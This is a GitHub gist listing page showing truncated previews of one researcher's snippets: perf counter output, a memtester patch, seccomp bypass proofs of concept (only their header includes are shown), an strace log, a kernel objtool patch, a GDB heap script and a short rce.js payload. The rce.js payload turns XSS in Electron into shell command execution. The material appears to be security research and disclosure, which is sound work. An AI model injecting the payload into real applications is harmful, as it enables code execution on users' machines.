Skip to content

Instantly share code, notes, and snippets.

@thejh
thejh / spec_test.c
Last active March 3, 2024 09:01
testing making misspeculated NULL derefs less page-walky (tested on Tiger Lake)
# perf stat -e task-clock:u -e cycles:u -e instructions:u -e branches:u -e branch-misses:u -e dTLB-loads:u -e dTLB-load-misses:u -e dtlb_load_misses.walk_active:u ./spec_test map
Performance counter stats for './spec_test map':
1,150.38 msec task-clock:u # 1.000 CPUs utilized
5,370,185,772 cycles:u # 4.668 GHz
1,331,717,669 instructions:u # 0.25 insn per cycle
307,326,910 branches:u # 267.153 M/sec
102,502,300 branch-misses:u # 33.35% of all branches
102,427,183 dTLB-loads # 89.038 M/sec
@thejh
thejh / seccomp_ptrace_escape.c
Last active August 19, 2023 11:39
PoC for bypassing seccomp if ptrace is allowed (known, documented issue, even mentioned in the manpage)
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
@thejh
thejh / memtester-badram-offline-hack.diff
Last active February 5, 2023 20:47
memtester (https://pyropus.ca./software/memtester/) hack for disabling bad RAM until next reboot
--- memtester-orig/memtester-4.3.0/tests.c 2012-06-09 23:45:22.000000000 +0200
+++ memtester-4.3.0/tests.c 2018-06-24 18:08:03.194020598 +0200
@@ -11,14 +11,17 @@
* This file contains the functions for the actual tests, called from the
* main routine in memtester.c. See other comments in that file.
*
*/
+#define _GNU_SOURCE
#include <sys/types.h>
@thejh
thejh / rce.js
Created August 24, 2016 01:21
RCE using XSS in Electron
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/bin/sh',args:['sh','-c','id > /tmp/owned'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
@thejh
thejh / seccomp_x32_bypass.c
Created March 16, 2015 17:25
PoC for bypassing sloppy seccomp blacklists on X86-64 using X32 syscalls
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
@thejh
thejh / gist:1100984
Created July 23, 2011 03:50
get and post gists
github =
# description: string
# public: boolean
# files: {string: content: string}
postGist: (description, public, files, callback) ->
request {
uri: 'https://api.github.com/gists'
method: 'POST'
headers:
'Authorization': BASIC_AUTH_DATA
@thejh
thejh / seccomp_compat_regs.c
Created March 16, 2015 17:56
Demo: seccomp preserves high bits of i386 syscall arguments on 64bit kernels
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
@thejh
thejh / gist:38cbe890f83975640a823b3278ade2f6
Created February 24, 2020 23:27
poppler pdftoppm syscalls
~/tmp/pdf$ cat localtime_hack.c
#include <time.h>
__attribute__((constructor)) static void localtime_hack(void) {
time_t t = {0};
localtime(&t);
}
~/tmp/pdf$ gcc -shared -fPIC -o localtime_hack.so localtime_hack.c
~/tmp/pdf$ LD_BIND_NOW=1 LD_PRELOAD=./localtime_hack.so strace -f -e trace='!write,pread64,brk' pdftoppm test.pdf test.png 2>&1 | grep -A10000000 'open.*test\.pdf'
openat(AT_FDCWD, "test.pdf", O_RDONLY) = 3
From 0bc2bc09d4c23cc5b48cea4bc2fb926a1fa72598 Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Fri, 12 Apr 2019 16:13:30 +0200
Subject: [PATCH] objtool: Handle multiply-referenced and
out-of-order-referenced jump tables
With clang from git master, code can be generated where a function contains
two indirect jump instructions that use the same switch table. To deal with
this case and similar ones properly, convert the switch table parsing to
use two passes:
@thejh
thejh / gdb-anaheap.py
Created July 29, 2018 20:11
GDB script for checking memory usage of completely unused pages in free glibc malloc chunks
import os
import struct
# flags are encoded into chunk size
FLAGS_MASK = 0x7
PAGEMAP_PRESENT = 1<<63
PAGEMAP_SWAPPED = 1<<62
main_arena = gdb.parse_and_eval('&main_arena')
bins_per_arena = int(gdb.parse_and_eval(